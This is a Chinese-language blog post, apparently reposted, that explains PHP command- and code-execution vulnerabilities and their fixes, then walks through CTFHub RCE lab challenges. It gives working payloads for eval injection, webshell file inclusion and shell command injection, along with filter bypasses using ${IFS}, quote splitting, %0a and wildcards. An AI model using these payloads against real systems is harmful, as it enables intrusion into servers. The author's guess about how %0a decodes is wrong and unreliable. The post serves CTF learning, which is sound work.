ctfhub中的命令執行及代碼執行漏洞


命令執行漏洞

應用有時需要調用一些執行系統命令的函數,當服務器沒有經過嚴格過濾用戶的參數,這時候就可能導致命令執行,從而導致命令執行漏洞

漏洞成因

1.代碼過濾不嚴格

2.系統的漏洞造成命令執行

3.調用的第三方組件存在代碼執行漏洞

常用命令執行函數

system():  該函數會把執行結果輸出。

passthru():  該函數只調用命令,並把運行結果原樣地直接輸出沒有返回值

exec():  不輸出結果,返回執行結果地最后一行

shell_exec():  不輸出結果,返回執行結果

 

命令連接符

windows和Linux都支持地命令連接符:

cmd1 | cmd2 只執行cmd2

cmd1 || cmd2只有當cmd1執行失敗后,cmd2才被執行

cmd1 & cmd2先執行cmd1,不管是否成功,都會執行cmd2

cmd1 && cmd2先執行cmd1,cmd1執行成功后才執行cmd2,否則不執行cmd2

Linux還支持分號(;)cmd1;cdm2按順序依次執行,先執行cmd1再執行cmd2

防范及修復

1. 盡量少使用執行命令地函數或者直接禁用

2.參數值盡量使用引號包括

3.再使用動態函數之前,確保使用地函數是指定地函數之一

4.再進行執行命令地函數|方法之前,對參數進行嚴格過濾,對敏感字符進行轉義

代碼執行漏洞

由於服務器對危險函數過濾不嚴,導致用戶輸入地一些字符串可以被轉換成代碼來執行,從而導致代碼執行漏洞

漏洞成因

用戶能夠控制函數輸入

存在可執行代碼地危險函數

常見地危險函數

eval()、assert()

這兩個函數都可以將輸入地字符串參數作為php程序代碼來執行

eval()的參數必須是合法的php代碼,所以必須以分號;結尾

assert(mixed $assertion [,string $description])如果assertion是字符串,它將會被assert()當作php代碼來執行

 

 

 

 

還有一些危險函數

preg_replace()、str_replace()、call_user_func()這些函數跟eval、exec等函數地特性相同,都屬於危險函數

preg_replace(mixed pattern,mixed replacement,mixed subject [,int limit]):此函數可以用來執行一個正則表達式的搜索和替換

$pattern:正則表達式匹配的內容

$replacement:用於替換的字符串或字符串數組

$subject:要搜索替換的目標字符串或字符串數組

當$pattern存在/e模式修正符,允許代碼執行

 

 修復方案

1. 盡量不要執行外部的應用程序或命令

2.使用自定義函數或函數庫來替代外部應用程序或命令的功能

3.執行函數的參數做成白名單限制,再代碼或配置文件中限制某些參數

了解這些漏洞之后,我們開始去ctfhub上面去做一下rce的題目

CTFHUB-RCE題目

0x11 eval執行

這段代碼沒有經過過濾,然后我們上面也有舉例子,我們直接用get方式傳入

phpinfo();

因為eval中的參數必須是php標准的語句的字符串,所以必須以分號結尾

最后構造payload:?cmd=system("cat ../../../flag_14453");

拿到ctfhub{bc1644e9e45ddb7e79f9da2d}

0x12文件包含

 

 下面的shell連接就是一個一句話木馬,我們這簡單需要個繞過就是strpos不能等於flag

我們直接就是利用文件包含構造payload:?file=shell.txt

然后我們post傳入一個ctfhub=phpinfo();我們會發現執行了

然后我們就構造拿flag的payload:ctfhub=system("cat ../../../flag");

拿到ctfhub{3041141beefd6faba007a336}

 0x13 php://input

 

 我們發現了php://偽協議,然后訪問下面的phpinfo我們又發現了

 

 於是我們利用偽協議,post傳入php代碼

php://input偽協議可以執行post中傳入的參數

於是我們構造payload:

 

 拿到flag

0x14讀取源代碼

 

 

 最下面告訴我們了flag的地址,我們可以嘗試利用php://filter去嘗試讀取一下這個文件

 

 

 

 0x15遠程包含

 

然后構造payload:

 

 

 0x16命令注入 無過濾

 

 於是這里我們用到&管道符,cmd1命令是否執行成功,都會執行下面的語句

於是構造payload: 127.0.0.1 & ls

 

 發現有兩個頁面,index.php是當前頁面,那我們查看一下數字的php文件

於是再構造一下payload:127.0.0.1 & cat 64021750531849.php

然后發現頁面沒有顯示,是不是被注釋了呢,於是我們查看源碼發現flag

 

 

 

 0x17 過濾cat

這種利用方式也特別的多

127.0.0.1 & c''at flag_82072417315322.php

127.0.0.1 & c\at flag_82072417315322.php

127.0.0.1 & base64 flag_82072417315322.php    //看到有一串base64字符串,解碼獲得flag

與第一個命令注入差不多訪問之后,然后源碼看到flag

0x18 過濾空格

127.0.0.1&${IFS}cat${IFS}flag_2493582611164.php    //${IFS}

127.0.0.1&$IFS$9cat$IFS$9flag_2493582611164.php    //$IFS$9    $9中的數字可以換成大於1的數,也是沒有確定,我只是簡單用bp跑了1-20的數字

然后經過繞過,就和前面的題一樣了,查看源碼拿flag

0x19 過濾目錄分隔符

我們先來到題目上,先看有什么東西

127.0.0.1&ls

 

有兩個文件,看到了flag_is_here它是一個文件夾,於是我們進入一個文件夾

127.0.0.1&cd flag_is_here;ls -l

 

 這就是一個文件了,於是我們查看這個文件,得到flag   --->   127.0.0.1&cd flag_is_here;cat flag_10192171586587.php

查看源碼 得到ctfhub{23a5a2e469fb908439fa342c}

 0x20過濾運算符

那我們的管道符肯定不能用了於是我們還有一個繞過的方式,就是Linux中還支持用分號;去分隔

們構造payload: 1270.0.1;ls

然后查看flag哪個文件,訪問源碼就可以了

0x21綜合過濾

 

 正則過濾,過濾了目錄操縱符、運算符、分號、空格、cat、flag、ctfhub字符

 url編碼bypass,發現可以通過%0a進行繞過,於是構造payload

127.0.0.1%0a$IFS$5cd$IFS$5f''lag_is_here%0a$IFS$5c''at$IFS$5f''lag_23257267973627.php

?ip=127.0.0.1%0A$IFS$9cd$IFS$9*_is_here%0A$IFS$9c''at$IFS$9*#

這個是帶有通配符得操作用*號可以代替一些字符

 

 主要得難點,在於怎么去找一個繞過點,比如運算符可以通過%0a繞過,我這里有想不明白得地方,但是它確實能繞過。%0a通過url解碼不就變成了冒號:嗎?

疑問待解答,我還是有點疑惑,等我解開疑惑以后再來補充


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM